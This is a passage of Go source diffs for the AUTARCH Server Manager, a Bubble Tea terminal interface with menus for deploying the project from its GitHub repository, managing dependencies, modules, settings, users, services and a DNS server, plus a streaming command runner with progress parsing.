lines[i] = key + " = " + value
found = true
}
}
// If key wasn't found and we're still in section (or section was last), append
if !found {
if inSection {
lines = append(lines, key+" = "+value)
}
}
return strings.Join(lines, "\n")
}
// GetValue reads a single value from a section.
func GetValue(path, section, key string) (string, error) {
keys, vals, err := GetSection(path, section)
if err != nil {
return "", err
}
for i, k := range keys {
if k == key {
return vals[i], nil
}
}
return "", fmt.Errorf("key %q not found in [%s]", key, section)
}

View File

@ -0,0 +1,826 @@
package tui
import (
"fmt"
"strings"
"github.com/charmbracelet/bubbles/textinput"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/lipgloss"
)
// ── View IDs ────────────────────────────────────────────────────────
type ViewID int
const (
ViewMain ViewID = iota
ViewDeps
ViewDepsInstall
ViewModules
ViewModuleToggle
ViewSettings
ViewSettingsSection
ViewSettingsEdit
ViewUsers
ViewUsersCreate
ViewUsersReset
ViewService
ViewDNS
ViewDNSBuild
ViewDNSManage
ViewDNSZones
ViewDNSZoneEdit
ViewDeploy
ViewConfirm
ViewResult
)
// ── Styles ──────────────────────────────────────────────────────────
var (
colorRed = lipgloss.Color("#ef4444")
colorGreen = lipgloss.Color("#22c55e")
colorYellow = lipgloss.Color("#eab308")
colorBlue = lipgloss.Color("#6366f1")
colorCyan = lipgloss.Color("#06b6d4")
colorMagenta = lipgloss.Color("#a855f7")
colorDim = lipgloss.Color("#6b7280")
colorWhite = lipgloss.Color("#f9fafb")
colorSurface = lipgloss.Color("#1e1e2e")
colorBorder = lipgloss.Color("#3b3b5c")
styleBanner = lipgloss.NewStyle().
Foreground(colorRed).
Bold(true)
styleTitle = lipgloss.NewStyle().
Foreground(colorCyan).
Bold(true).
PaddingLeft(2)
styleSubtitle = lipgloss.NewStyle().
Foreground(colorDim).
PaddingLeft(2)
styleMenuItem = lipgloss.NewStyle().
PaddingLeft(4)
styleSelected = lipgloss.NewStyle().
Foreground(colorBlue).
Bold(true).
PaddingLeft(2)
styleNormal = lipgloss.NewStyle().
Foreground(colorWhite).
PaddingLeft(4)
styleKey = lipgloss.NewStyle().
Foreground(colorCyan).
Bold(true)
styleSuccess = lipgloss.NewStyle().
Foreground(colorGreen)
styleError = lipgloss.NewStyle().
Foreground(colorRed)
styleWarning = lipgloss.NewStyle().
Foreground(colorYellow)
styleDim = lipgloss.NewStyle().
Foreground(colorDim)
styleStatusOK = lipgloss.NewStyle().
Foreground(colorGreen).
Bold(true)
styleStatusBad = lipgloss.NewStyle().
Foreground(colorRed).
Bold(true)
styleBox = lipgloss.NewStyle().
Border(lipgloss.RoundedBorder()).
BorderForeground(colorBorder).
Padding(1, 2)
styleHR = lipgloss.NewStyle().
Foreground(colorDim)
)
// ── Menu Item ───────────────────────────────────────────────────────
type MenuItem struct {
Key string
Label string
Desc string
View ViewID
}
// ── Messages ────────────────────────────────────────────────────────
type ResultMsg struct {
Title string
Lines []string
IsError bool
}
type ConfirmMsg struct {
Prompt string
OnConfirm func() tea.Cmd
}
type OutputLineMsg string
type DoneMsg struct{ Err error }
// ── App Model ───────────────────────────────────────────────────────
type App struct {
width, height int
// Navigation
view ViewID
viewStack []ViewID
cursor int
// Main menu
mainMenu []MenuItem
// Dynamic content
listItems []ListItem
listTitle string
sectionKeys []string
// Settings
settingsSections []string
settingsSection string
settingsKeys []string
settingsVals []string
// Text input
textInput textinput.Model
inputLabel string
inputField string
inputs []textinput.Model
labels []string
focusIdx int
// Result / output
resultTitle string
resultLines []string
resultIsErr bool
outputLines []string
outputDone bool
outputCh chan tea.Msg
progressStep int
progressTotal int
progressLabel string
// Confirm
confirmPrompt string
confirmAction func() tea.Cmd
// Config path
autarchDir string
}
type ListItem struct {
Name string
Status string
Enabled bool
Extra string
}
func NewApp() App {
ti := textinput.New()
ti.CharLimit = 256
app := App{
view: ViewMain,
autarchDir: findAutarchDir(),
textInput: ti,
mainMenu: []MenuItem{
{Key: "1", Label: "Deploy AUTARCH", Desc: "Clone from GitHub, setup dirs, venv, deps, permissions, systemd", View: ViewDeploy},
{Key: "2", Label: "Dependencies", Desc: "Install & manage system packages, Python venv, pip, npm", View: ViewDeps},
{Key: "3", Label: "Modules", Desc: "List, enable, or disable AUTARCH Python modules", View: ViewModules},
{Key: "4", Label: "Settings", Desc: "Edit autarch_settings.conf (all 14+ sections)", View: ViewSettings},
{Key: "5", Label: "Users", Desc: "Create users, reset passwords, manage web credentials", View: ViewUsers},
{Key: "6", Label: "Services", Desc: "Start, stop, restart AUTARCH web & background daemons", View: ViewService},
{Key: "7", Label: "DNS Server", Desc: "Build, configure, and manage the AUTARCH DNS server", View: ViewDNS},
{Key: "q", Label: "Quit", Desc: "Exit the server manager", View: ViewMain},
},
}
return app
}
func (a App) Init() tea.Cmd {
return nil
}
// waitForOutput returns a Cmd that reads the next message from the output channel.
// This creates the streaming chain: OutputLineMsg → waitForOutput → OutputLineMsg → ...
func (a App) waitForOutput() tea.Cmd {
ch := a.outputCh
if ch == nil {
return nil
}
return func() tea.Msg {
msg, ok := <-ch
if !ok {
return DoneMsg{}
}
return msg
}
}
// ── Update ──────────────────────────────────────────────────────────
func (a App) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
switch msg := msg.(type) {
case tea.WindowSizeMsg:
a.width = msg.Width
a.height = msg.Height
return a, nil
case ResultMsg:
a.pushView(ViewResult)
a.resultTitle = msg.Title
a.resultLines = msg.Lines
a.resultIsErr = msg.IsError
return a, nil
case OutputLineMsg:
a.outputLines = append(a.outputLines, string(msg))
return a, a.waitForOutput()
case ProgressMsg:
a.progressStep = msg.Step
a.progressTotal = msg.Total
a.progressLabel = msg.Label
return a, a.waitForOutput()
case DoneMsg:
a.outputDone = true
a.outputCh = nil
if msg.Err != nil {
a.outputLines = append(a.outputLines, "", styleError.Render("Error: "+msg.Err.Error()))
}
a.outputLines = append(a.outputLines, "", styleDim.Render("Press any key to continue..."))
return a, nil
case depsLoadedMsg:
a.listItems = msg.items
return a, nil
case modulesLoadedMsg:
a.listItems = msg.items
return a, nil
case settingsLoadedMsg:
a.settingsSections = msg.sections
return a, nil
case dnsZonesMsg:
a.listItems = msg.items
return a, nil
case tea.KeyMsg:
return a.handleKey(msg)
}
// Update text inputs if active
if a.isInputView() {
return a.updateInputs(msg)
}
return a, nil
}
func (a App) isInputView() bool {
return a.view == ViewUsersCreate || a.view == ViewUsersReset ||
a.view == ViewSettingsEdit || a.view == ViewDNSZoneEdit
}
func (a App) handleKey(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
key := msg.String()
// Global keys
switch key {
case "ctrl+c":
return a, tea.Quit
}
// Input views get special handling
if a.isInputView() {
return a.handleInputKey(msg)
}
// Output view (streaming)
if a.view == ViewDepsInstall || a.view == ViewDNSBuild {
if a.outputDone {
a.popView()
a.progressStep = 0
a.progressTotal = 0
a.progressLabel = ""
// Reload the parent view's data
switch a.view {
case ViewDeps:
return a, a.loadDepsStatus()
case ViewDNS:
return a, nil
case ViewDeploy:
return a, nil
}
}
return a, nil
}
// Result view
if a.view == ViewResult {
a.popView()
return a, nil
}
// Confirm view
if a.view == ViewConfirm {
switch key {
case "y", "Y":
if a.confirmAction != nil {
cmd := a.confirmAction()
a.popView()
return a, cmd
}
a.popView()
case "n", "N", "esc":
a.popView()
}
return a, nil
}
// List navigation
switch key {
case "up", "k":
if a.cursor > 0 {
a.cursor--
}
return a, nil
case "down", "j":
max := a.maxCursor()
if a.cursor < max {
a.cursor++
}
return a, nil
case "esc":
if len(a.viewStack) > 0 {
a.popView()
}
return a, nil
case "q":
if a.view == ViewMain {
return a, tea.Quit
}
if len(a.viewStack) > 0 {
a.popView()
return a, nil
}
return a, tea.Quit
}
// View-specific handling
switch a.view {
case ViewMain:
return a.handleMainMenu(key)
case ViewDeps:
return a.handleDepsMenu(key)
case ViewModules:
return a.handleModulesMenu(key)
case ViewModuleToggle:
return a.handleModuleToggle(key)
case ViewSettings:
return a.handleSettingsMenu(key)
case ViewSettingsSection:
return a.handleSettingsSection(key)
case ViewUsers:
return a.handleUsersMenu(key)
case ViewService:
return a.handleServiceMenu(key)
case ViewDeploy:
return a.handleDeployMenu(key)
case ViewDNS:
return a.handleDNSMenu(key)
case ViewDNSManage:
return a.handleDNSManageMenu(key)
case ViewDNSZones:
return a.handleDNSZonesMenu(key)
}
return a, nil
}
func (a App) maxCursor() int {
switch a.view {
case ViewMain:
return len(a.mainMenu) - 1
case ViewModules, ViewModuleToggle:
return len(a.listItems) - 1
case ViewSettings:
return len(a.settingsSections) - 1
case ViewSettingsSection:
return len(a.settingsKeys) - 1
case ViewDNSZones:
return len(a.listItems) - 1
}
return 0
}
// ── Navigation ──────────────────────────────────────────────────────
func (a *App) pushView(v ViewID) {
a.viewStack = append(a.viewStack, a.view)
a.view = v
a.cursor = 0
}
func (a *App) popView() {
if len(a.viewStack) > 0 {
a.view = a.viewStack[len(a.viewStack)-1]
a.viewStack = a.viewStack[:len(a.viewStack)-1]
a.cursor = 0
}
}
// ── View Rendering ──────────────────────────────────────────────────
func (a App) View() string {
var b strings.Builder
b.WriteString(a.renderBanner())
b.WriteString("\n")
switch a.view {
case ViewMain:
b.WriteString(a.renderMainMenu())
case ViewDeploy:
b.WriteString(a.renderDeployMenu())
case ViewDeps:
b.WriteString(a.renderDepsMenu())
case ViewDepsInstall:
b.WriteString(a.renderOutput("Installing Dependencies"))
case ViewModules:
b.WriteString(a.renderModulesList())
case ViewModuleToggle:
b.WriteString(a.renderModulesList())
case ViewSettings:
b.WriteString(a.renderSettingsSections())
case ViewSettingsSection:
b.WriteString(a.renderSettingsKeys())
case ViewSettingsEdit:
b.WriteString(a.renderSettingsEditForm())
case ViewUsers:
b.WriteString(a.renderUsersMenu())
case ViewUsersCreate:
b.WriteString(a.renderUserForm("Create New User"))
case ViewUsersReset:
b.WriteString(a.renderUserForm("Reset Password"))
case ViewService:
b.WriteString(a.renderServiceMenu())
case ViewDNS:
b.WriteString(a.renderDNSMenu())
case ViewDNSBuild:
b.WriteString(a.renderOutput("Building DNS Server"))
case ViewDNSManage:
b.WriteString(a.renderDNSManageMenu())
case ViewDNSZones:
b.WriteString(a.renderDNSZones())
case ViewDNSZoneEdit:
b.WriteString(a.renderDNSZoneForm())
case ViewConfirm:
b.WriteString(a.renderConfirm())
case ViewResult:
b.WriteString(a.renderResult())
}
b.WriteString("\n")
b.WriteString(a.renderStatusBar())
return b.String()
}
// ── Banner ──────────────────────────────────────────────────────────
func (a App) renderBanner() string {
banner := `
`
title := lipgloss.NewStyle().
Foreground(colorCyan).
Bold(true).
Align(lipgloss.Center).
Render("S E R V E R M A N A G E R v1.0")
sub := styleDim.Render(" darkHal Security Group & Setec Security Labs")
// Live service status bar
statusLine := a.renderServiceStatusBar()
return styleBanner.Render(banner) + "\n" + title + "\n" + sub + "\n" + statusLine + "\n"
}
func (a App) renderServiceStatusBar() string {
webStatus, webUp := getProcessStatus("autarch-web", "autarch_web.py")
dnsStatus, dnsUp := getProcessStatus("autarch-dns", "autarch-dns")
webInd := styleStatusBad.Render("○")
if webUp {
webInd = styleStatusOK.Render("●")
}
dnsInd := styleStatusBad.Render("○")
if dnsUp {
dnsInd = styleStatusOK.Render("●")
}
_ = webStatus
_ = dnsStatus
return styleDim.Render(" ") +
webInd + styleDim.Render(" Web ") +
dnsInd + styleDim.Render(" DNS")
}
func (a App) renderHR() string {
w := a.width
if w < 10 {
w = 66
}
if w > 80 {
w = 80
}
return styleHR.Render(strings.Repeat("─", w-4)) + "\n"
}
// ── Main Menu ───────────────────────────────────────────────────────
func (a App) renderMainMenu() string {
var b strings.Builder
b.WriteString(styleTitle.Render("MAIN MENU"))
b.WriteString("\n")
b.WriteString(a.renderHR())
b.WriteString("\n")
for i, item := range a.mainMenu {
cursor := " "
if i == a.cursor {
cursor = styleSelected.Render("▸ ")
label := styleKey.Render("["+item.Key+"]") + " " +
lipgloss.NewStyle().Foreground(colorWhite).Bold(true).Render(item.Label)
desc := styleDim.Render(" " + item.Desc)
b.WriteString(cursor + label + "\n")
b.WriteString(" " + desc + "\n")
} else {
label := styleDim.Render("["+item.Key+"]") + " " +
lipgloss.NewStyle().Foreground(colorWhite).Render(item.Label)
b.WriteString(cursor + " " + label + "\n")
}
}
return b.String()
}
// ── Confirm ─────────────────────────────────────────────────────────
func (a App) renderConfirm() string {
var b strings.Builder
b.WriteString(styleTitle.Render("CONFIRM"))
b.WriteString("\n")
b.WriteString(a.renderHR())
b.WriteString("\n")
b.WriteString(styleWarning.Render(" " + a.confirmPrompt))
b.WriteString("\n\n")
b.WriteString(styleDim.Render(" [Y] Yes [N] No"))
b.WriteString("\n")
return b.String()
}
// ── Result ──────────────────────────────────────────────────────────
func (a App) renderResult() string {
var b strings.Builder
title := a.resultTitle
if a.resultIsErr {
b.WriteString(styleError.Render(" " + title))
} else {
b.WriteString(styleSuccess.Render(" " + title))
}
b.WriteString("\n")
b.WriteString(a.renderHR())
b.WriteString("\n")
for _, line := range a.resultLines {
b.WriteString(" " + line + "\n")
}
b.WriteString("\n")
b.WriteString(styleDim.Render(" Press any key to continue..."))
b.WriteString("\n")
return b.String()
}
// ── Streaming Output ────────────────────────────────────────────────
func (a App) renderOutput(title string) string {
var b strings.Builder
b.WriteString(styleTitle.Render(title))
b.WriteString("\n")
b.WriteString(a.renderHR())
// Progress bar
if a.progressTotal > 0 && !a.outputDone {
pct := float64(a.progressStep) / float64(a.progressTotal)
barWidth := 40
filled := int(pct * float64(barWidth))
if filled > barWidth {
filled = barWidth
}
bar := strings.Repeat("█", filled) + strings.Repeat("░", barWidth-filled)
pctStr := fmt.Sprintf("%3.0f%%", pct*100)
b.WriteString(" " + styleKey.Render("["+bar+"]") + " " +
styleWarning.Render(pctStr) + " " +
styleDim.Render(fmt.Sprintf("Step %d/%d: %s", a.progressStep, a.progressTotal, a.progressLabel)))
b.WriteString("\n")
b.WriteString(a.renderHR())
}
b.WriteString("\n")
// Show last N lines that fit the screen
maxLines := a.height - 22
if maxLines < 10 {
maxLines = 20
}
start := 0
if len(a.outputLines) > maxLines {
start = len(a.outputLines) - maxLines
}
for _, line := range a.outputLines[start:] {
b.WriteString(" " + line + "\n")
}
if !a.outputDone {
b.WriteString("\n")
b.WriteString(styleDim.Render(" Working..."))
}
return b.String()
}
// ── Status Bar ──────────────────────────────────────────────────────
func (a App) renderStatusBar() string {
nav := styleDim.Render(" ↑↓ navigate")
esc := styleDim.Render(" esc back")
quit := styleDim.Render(" q quit")
path := ""
for _, v := range a.viewStack {
path += viewName(v) + " > "
}
path += viewName(a.view)
left := styleDim.Render(" " + path)
right := nav + esc + quit
gap := a.width - lipgloss.Width(left) - lipgloss.Width(right)
if gap < 1 {
gap = 1
}
return "\n" + styleHR.Render(strings.Repeat("─", clamp(a.width-4, 20, 80))) + "\n" +
left + strings.Repeat(" ", gap) + right + "\n"
}
func viewName(v ViewID) string {
names := map[ViewID]string{
ViewMain: "Main",
ViewDeps: "Dependencies",
ViewDepsInstall: "Install",
ViewModules: "Modules",
ViewModuleToggle: "Toggle",
ViewSettings: "Settings",
ViewSettingsSection: "Section",
ViewSettingsEdit: "Edit",
ViewUsers: "Users",
ViewUsersCreate: "Create",
ViewUsersReset: "Reset",
ViewService: "Services",
ViewDNS: "DNS",
ViewDNSBuild: "Build",
ViewDNSManage: "Manage",
ViewDNSZones: "Zones",
ViewDeploy: "Deploy",
ViewDNSZoneEdit: "Edit Zone",
ViewConfirm: "Confirm",
ViewResult: "Result",
}
if n, ok := names[v]; ok {
return n
}
return "?"
}
// ── User Form Rendering ─────────────────────────────────────────────
func (a App) renderUserForm(title string) string {
var b strings.Builder
b.WriteString(styleTitle.Render(title))
b.WriteString("\n")
b.WriteString(a.renderHR())
b.WriteString("\n")
for i, label := range a.labels {
prefix := " "
if i == a.focusIdx {
prefix = styleSelected.Render("▸ ")
}
b.WriteString(prefix + styleDim.Render(label+": "))
b.WriteString(a.inputs[i].View())
b.WriteString("\n\n")
}
b.WriteString("\n")
b.WriteString(styleDim.Render(" tab next field | enter submit | esc cancel"))
b.WriteString("\n")
return b.String()
}
// ── Settings Edit Form ──────────────────────────────────────────────
func (a App) renderSettingsEditForm() string {
var b strings.Builder
b.WriteString(styleTitle.Render(fmt.Sprintf("Edit [%s]", a.settingsSection)))
b.WriteString("\n")
b.WriteString(a.renderHR())
b.WriteString("\n")
for i, label := range a.labels {
prefix := " "
if i == a.focusIdx {
prefix = styleSelected.Render("▸ ")
}
b.WriteString(prefix + styleKey.Render(label) + " = ")
b.WriteString(a.inputs[i].View())
b.WriteString("\n")
}
b.WriteString("\n")
b.WriteString(styleDim.Render(" tab next | enter save all | esc cancel"))
b.WriteString("\n")
return b.String()
}
// ── DNS Zone Form ───────────────────────────────────────────────────
func (a App) renderDNSZoneForm() string {
var b strings.Builder
b.WriteString(styleTitle.Render("Create DNS Zone"))
b.WriteString("\n")
b.WriteString(a.renderHR())
b.WriteString("\n")
for i, label := range a.labels {
prefix := " "
if i == a.focusIdx {
prefix = styleSelected.Render("▸ ")
}
b.WriteString(prefix + styleDim.Render(label+": "))
b.WriteString(a.inputs[i].View())
b.WriteString("\n\n")
}
b.WriteString("\n")
b.WriteString(styleDim.Render(" tab next field | enter submit | esc cancel"))
b.WriteString("\n")
return b.String()
}
// ── Helpers ─────────────────────────────────────────────────────────
func clamp(v, lo, hi int) int {
if v < lo {
return lo
}
if v > hi {
return hi
}
return v
}

View File

@ -0,0 +1,48 @@
package tui
import (
"os"
"path/filepath"
)
// findAutarchDir walks up from the server-manager binary location to find
// the AUTARCH project root (identified by autarch_settings.conf).
func findAutarchDir() string {
// Try well-known paths first
candidates := []string{
"/opt/autarch",
"/srv/autarch",
"/home/autarch",
}
// Also try relative to the executable
exe, err := os.Executable()
if err == nil {
dir := filepath.Dir(exe)
// services/server-manager/ → ../../
candidates = append([]string{
filepath.Join(dir, "..", ".."),
filepath.Join(dir, ".."),
dir,
}, candidates...)
}
// Also check cwd
if cwd, err := os.Getwd(); err == nil {
candidates = append([]string{cwd, filepath.Join(cwd, "..", "..")}, candidates...)
}
for _, c := range candidates {
abs, err := filepath.Abs(c)
if err != nil {
continue
}
conf := filepath.Join(abs, "autarch_settings.conf")
if _, err := os.Stat(conf); err == nil {
return abs
}
}
// Fallback
return "/opt/autarch"
}

View File

@ -0,0 +1,99 @@
package tui
import (
"os"
tea "github.com/charmbracelet/bubbletea"
)
// ── Input View Handling ─────────────────────────────────────────────
func (a App) handleInputKey(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
key := msg.String()
switch key {
case "esc":
a.popView()
return a, nil
case "tab", "shift+tab":
// Cycle focus
if key == "tab" {
a.focusIdx = (a.focusIdx + 1) % len(a.inputs)
} else {
a.focusIdx = (a.focusIdx - 1 + len(a.inputs)) % len(a.inputs)
}
for i := range a.inputs {
if i == a.focusIdx {
a.inputs[i].Focus()
} else {
a.inputs[i].Blur()
}
}
return a, nil
case "enter":
// If not on last field, advance
if a.focusIdx < len(a.inputs)-1 {
a.focusIdx++
for i := range a.inputs {
if i == a.focusIdx {
a.inputs[i].Focus()
} else {
a.inputs[i].Blur()
}
}
return a, nil
}
// Submit
switch a.view {
case ViewUsersCreate:
return a.submitUserCreate()
case ViewUsersReset:
return a.submitUserReset()
case ViewSettingsEdit:
return a.saveSettings()
case ViewDNSZoneEdit:
return a.submitDNSZone()
}
return a, nil
}
// Forward key to focused input
if a.focusIdx >= 0 && a.focusIdx < len(a.inputs) {
var cmd tea.Cmd
a.inputs[a.focusIdx], cmd = a.inputs[a.focusIdx].Update(msg)
return a, cmd
}
return a, nil
}
func (a App) updateInputs(msg tea.Msg) (tea.Model, tea.Cmd) {
if a.focusIdx >= 0 && a.focusIdx < len(a.inputs) {
var cmd tea.Cmd
a.inputs[a.focusIdx], cmd = a.inputs[a.focusIdx].Update(msg)
return a, cmd
}
return a, nil
}
// ── File Helpers (used by multiple views) ────────────────────────────
func fileExists(path string) bool {
_, err := os.Stat(path)
return err == nil
}
func readFileBytes(path string) ([]byte, error) {
return os.ReadFile(path)
}
func writeFile(path string, data []byte, perm os.FileMode) error {
return os.WriteFile(path, data, perm)
}
func renameFile(src, dst string) error {
return os.Rename(src, dst)
}

View File

@ -0,0 +1,161 @@
package tui
import (
"bufio"
"fmt"
"os/exec"
"strings"
"time"
tea "github.com/charmbracelet/bubbletea"
)
// ── Streaming Messages ──────────────────────────────────────────────
// ProgressMsg updates the progress bar in the output view.
type ProgressMsg struct {
Step int
Total int
Label string
}
// ── Step Definition ─────────────────────────────────────────────────
// CmdStep defines a single command to run in a streaming sequence.
type CmdStep struct {
Label string // Human-readable label (shown in output)
Args []string // Command + arguments
Dir string // Working directory (empty = inherit)
}
// ── Streaming Execution Engine ──────────────────────────────────────
// streamSteps runs a sequence of CmdSteps, sending OutputLineMsg per line
// and ProgressMsg per step, then DoneMsg when finished.
// It writes to a buffered channel that the TUI reads via waitForOutput().
func streamSteps(ch chan<- tea.Msg, steps []CmdStep) {
defer close(ch)
total := len(steps)
var errors []string
for i, step := range steps {
// Send progress update
ch <- ProgressMsg{
Step: i + 1,
Total: total,
Label: step.Label,
}
// Show command being executed
cmdStr := strings.Join(step.Args, " ")
ch <- OutputLineMsg(styleKey.Render(fmt.Sprintf("═══ [%d/%d] %s ═══", i+1, total, step.Label)))
ch <- OutputLineMsg(styleDim.Render(" $ " + cmdStr))
// Build command
cmd := exec.Command(step.Args[0], step.Args[1:]...)
if step.Dir != "" {
cmd.Dir = step.Dir
}
// Get pipes for real-time output
stdout, err := cmd.StdoutPipe()
if err != nil {
ch <- OutputLineMsg(styleError.Render(" Failed to create stdout pipe: " + err.Error()))
errors = append(errors, step.Label+": "+err.Error())
continue
}
cmd.Stderr = cmd.Stdout // merge stderr into stdout
// Start command
startTime := time.Now()
if err := cmd.Start(); err != nil {
ch <- OutputLineMsg(styleError.Render(" Failed to start: " + err.Error()))
errors = append(errors, step.Label+": "+err.Error())
continue
}
// Read output line by line
scanner := bufio.NewScanner(stdout)
scanner.Buffer(make([]byte, 64*1024), 256*1024) // handle long lines
lineCount := 0
for scanner.Scan() {
line := scanner.Text()
lineCount++
// Parse apt/pip progress indicators for speed display
if parsed := parseProgressLine(line); parsed != "" {
ch <- OutputLineMsg(" " + parsed)
} else {
// Throttle verbose output: show every line for first 30,
// then every 5th line, but always show errors
if lineCount <= 30 || lineCount%5 == 0 || isErrorLine(line) {
ch <- OutputLineMsg(" " + line)
}
}
}
// Wait for command to finish
err = cmd.Wait()
elapsed := time.Since(startTime)
if err != nil {
ch <- OutputLineMsg(styleError.Render(fmt.Sprintf(" ✘ Failed (%s): %s", elapsed.Round(time.Millisecond), err.Error())))
errors = append(errors, step.Label+": "+err.Error())
} else {
ch <- OutputLineMsg(styleSuccess.Render(fmt.Sprintf(" ✔ Done (%s)", elapsed.Round(time.Millisecond))))
}
ch <- OutputLineMsg("")
}
// Final summary
if len(errors) > 0 {
ch <- OutputLineMsg(styleWarning.Render(fmt.Sprintf("═══ Completed with %d error(s) ═══", len(errors))))
for _, e := range errors {
ch <- OutputLineMsg(styleError.Render(" ✘ " + e))
}
ch <- DoneMsg{Err: fmt.Errorf("%d step(s) failed", len(errors))}
} else {
ch <- OutputLineMsg(styleSuccess.Render("═══ All steps completed successfully ═══"))
ch <- DoneMsg{}
}
}
// ── Progress Parsing ────────────────────────────────────────────────
// parseProgressLine extracts progress info from apt/pip/npm output.
func parseProgressLine(line string) string {
// apt progress: "Progress: [ 45%]" or percentage patterns
if strings.Contains(line, "Progress:") || strings.Contains(line, "progress:") {
return styleWarning.Render(strings.TrimSpace(line))
}
// pip: "Downloading foo-1.2.3.whl (2.3 MB)" or "Installing collected packages:"
if strings.HasPrefix(line, "Downloading ") || strings.HasPrefix(line, "Collecting ") {
return styleCyan.Render(strings.TrimSpace(line))
}
if strings.HasPrefix(line, "Installing collected packages:") {
return styleWarning.Render(strings.TrimSpace(line))
}
// npm: "added X packages"
if strings.Contains(line, "added") && strings.Contains(line, "packages") {
return styleSuccess.Render(strings.TrimSpace(line))
}
return ""
}
// isErrorLine checks if an output line looks like an error.
func isErrorLine(line string) bool {
lower := strings.ToLower(line)
return strings.Contains(lower, "error") ||
strings.Contains(lower, "failed") ||
strings.Contains(lower, "fatal") ||
strings.Contains(lower, "warning") ||
strings.Contains(lower, "unable to")
}
// ── Style for progress lines ────────────────────────────────────────
var styleCyan = styleKey // reuse existing cyan style

View File

@ -0,0 +1,493 @@
package tui
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/lipgloss"
)
const (
autarchGitRepo = "https://github.com/DigijEth/autarch.git"
autarchBranch = "main"
defaultInstDir = "/opt/autarch"
)
// ── Rendering ───────────────────────────────────────────────────────
func (a App) renderDeployMenu() string {
var b strings.Builder
b.WriteString(styleTitle.Render("DEPLOY AUTARCH"))
b.WriteString("\n")
b.WriteString(a.renderHR())
b.WriteString("\n")
installDir := defaultInstDir
if a.autarchDir != "" && a.autarchDir != defaultInstDir {
installDir = a.autarchDir
}
// Check current state
confExists := fileExists(filepath.Join(installDir, "autarch_settings.conf"))
gitExists := fileExists(filepath.Join(installDir, ".git"))
venvExists := fileExists(filepath.Join(installDir, "venv", "bin", "python3"))
b.WriteString(styleKey.Render(" Install directory: ") +
lipgloss.NewStyle().Foreground(colorWhite).Bold(true).Render(installDir))
b.WriteString("\n")
b.WriteString(styleKey.Render(" Git repository: ") +
styleDim.Render(autarchGitRepo))
b.WriteString("\n\n")
// Status checks
if gitExists {
// Get current commit
out, _ := exec.Command("git", "-C", installDir, "log", "--oneline", "-1").Output()
commit := strings.TrimSpace(string(out))
b.WriteString(" " + styleStatusOK.Render("✔ Git repo present") + " " + styleDim.Render(commit))
} else {
b.WriteString(" " + styleStatusBad.Render("✘ Not cloned"))
}
b.WriteString("\n")
if confExists {
b.WriteString(" " + styleStatusOK.Render("✔ Config file present"))
} else {
b.WriteString(" " + styleStatusBad.Render("✘ No config file"))
}
b.WriteString("\n")
if venvExists {
// Count pip packages
out, _ := exec.Command(filepath.Join(installDir, "venv", "bin", "pip3"), "list", "--format=columns").Output()
count := strings.Count(string(out), "\n") - 2
if count < 0 {
count = 0
}
b.WriteString(" " + styleStatusOK.Render(fmt.Sprintf("✔ Python venv (%d packages)", count)))
} else {
b.WriteString(" " + styleStatusBad.Render("✘ No Python venv"))
}
b.WriteString("\n")
// Check node_modules
nodeExists := fileExists(filepath.Join(installDir, "node_modules"))
if nodeExists {
b.WriteString(" " + styleStatusOK.Render("✔ Node modules installed"))
} else {
b.WriteString(" " + styleStatusBad.Render("✘ No node_modules"))
}
b.WriteString("\n")
// Check services
_, webUp := getProcessStatus("autarch-web", "autarch_web.py")
_, dnsUp := getProcessStatus("autarch-dns", "autarch-dns")
if webUp {
b.WriteString(" " + styleStatusOK.Render("✔ Web service running"))
} else {
b.WriteString(" " + styleStatusBad.Render("○ Web service stopped"))
}
b.WriteString("\n")
if dnsUp {
b.WriteString(" " + styleStatusOK.Render("✔ DNS service running"))
} else {
b.WriteString(" " + styleStatusBad.Render("○ DNS service stopped"))
}
b.WriteString("\n\n")
b.WriteString(a.renderHR())
b.WriteString("\n")
if !gitExists {
b.WriteString(styleKey.Render(" [c]") + " Clone AUTARCH from GitHub " + styleDim.Render("(full install)") + "\n")
} else {
b.WriteString(styleKey.Render(" [u]") + " Update (git pull + reinstall deps)\n")
}
b.WriteString(styleKey.Render(" [f]") + " Full setup " + styleDim.Render("(clone/pull + venv + pip + npm + build + systemd + permissions)") + "\n")
b.WriteString(styleKey.Render(" [v]") + " Setup venv + pip install only\n")
b.WriteString(styleKey.Render(" [n]") + " Setup npm + build hardware JS only\n")
b.WriteString(styleKey.Render(" [p]") + " Fix permissions " + styleDim.Render("(chown/chmod)") + "\n")
b.WriteString(styleKey.Render(" [s]") + " Install systemd service units\n")
b.WriteString(styleKey.Render(" [d]") + " Build DNS server from source\n")
b.WriteString(styleKey.Render(" [g]") + " Generate self-signed TLS cert\n")
b.WriteString("\n")
b.WriteString(styleDim.Render(" esc back"))
b.WriteString("\n")
return b.String()
}
// ── Key Handling ────────────────────────────────────────────────────
func (a App) handleDeployMenu(key string) (tea.Model, tea.Cmd) {
switch key {
case "c":
return a.deployClone()
case "u":
return a.deployUpdate()
case "f":
return a.deployFull()
case "v":
return a.deployVenv()
case "n":
return a.deployNpm()
case "p":
return a.deployPermissions()
case "s":
return a.deploySystemd()
case "d":
return a.deployDNSBuild()
case "g":
return a.deployTLSCert()
}
return a, nil
}
// ── Deploy Commands ─────────────────────────────────────────────────
func (a App) deployClone() (App, tea.Cmd) {
dir := defaultInstDir
// Quick check — if already cloned, show result without streaming
if fileExists(filepath.Join(dir, ".git")) {
return a, func() tea.Msg {
return ResultMsg{
Title: "Already Cloned",
Lines: []string{"AUTARCH is already cloned at " + dir, "", "Use [u] to update or [f] for full setup."},
IsError: false,
}
}
}
a.pushView(ViewDepsInstall)
a.outputLines = nil
a.outputDone = false
a.progressStep = 0
a.progressTotal = 0
ch := make(chan tea.Msg, 256)
a.outputCh = ch
go func() {
os.MkdirAll(filepath.Dir(dir), 0755)
steps := []CmdStep{
{Label: "Clone AUTARCH from GitHub", Args: []string{"git", "clone", "--branch", autarchBranch, "--progress", autarchGitRepo, dir}},
}
streamSteps(ch, steps)
}()
return a, a.waitForOutput()
}
func (a App) deployUpdate() (App, tea.Cmd) {
return a, func() tea.Msg {
dir := defaultInstDir
if a.autarchDir != "" {
dir = a.autarchDir
}
var lines []string
// Git pull
lines = append(lines, styleKey.Render("$ git -C "+dir+" pull"))
cmd := exec.Command("git", "-C", dir, "pull", "--ff-only")
out, err := cmd.CombinedOutput()
